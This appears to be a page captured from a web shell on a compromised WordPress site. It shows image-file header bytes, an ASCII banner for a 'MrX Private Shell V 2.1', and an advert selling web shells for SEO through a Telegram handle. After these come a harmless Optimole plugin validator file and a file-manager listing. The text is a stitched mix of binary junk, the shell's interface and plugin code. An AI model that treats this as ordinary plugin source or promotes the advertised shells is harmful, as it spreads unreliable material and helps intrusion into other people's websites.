����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Validation traits.
*
* @package \Optml\Inc\Traits
* @author Optimole <friends@optimole.com>
*/
trait Optml_Validator {
/**
* Check if the value is a valid numeric.
*
* @param mixed $value The value to check.
*
* @return bool
*/
public function is_valid_numeric( $value ) {
if ( isset( $value ) && ! empty( $value ) && is_numeric( $value ) ) {
return true;
}
return false;
}
/**
* Check if the URl is a GIF url.
*
* @param string $url URL to check.
*
* @return bool Is Gif?
*/
public function is_valid_gif( $url ) {
$type = wp_check_filetype( $url, [ 'gif' => 'image/gif' ] );
if ( empty( $type['ext'] ) ) {
return false;
}
return true;
}
/**
* Check if the url has an accepted mime type extension.
*
* @param mixed $url The url to check.
*
* @return bool|string
*/
public function is_valid_mimetype_from_url( $url, $filters = [] ) {
$type = wp_check_filetype( $url, Optml_Config::$all_extensions );
if ( empty( $type['ext'] ) ) {
return false;
}
return Optml_Filters::should_do_extension( $filters, $type['ext'] );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| dam_offload_utils.php | File | 7.88 KB | 0644 |
|
| normalizer.php | File | 10.1 KB | 0644 |
|
| validator.php | File | 1.1 KB | 0644 |
|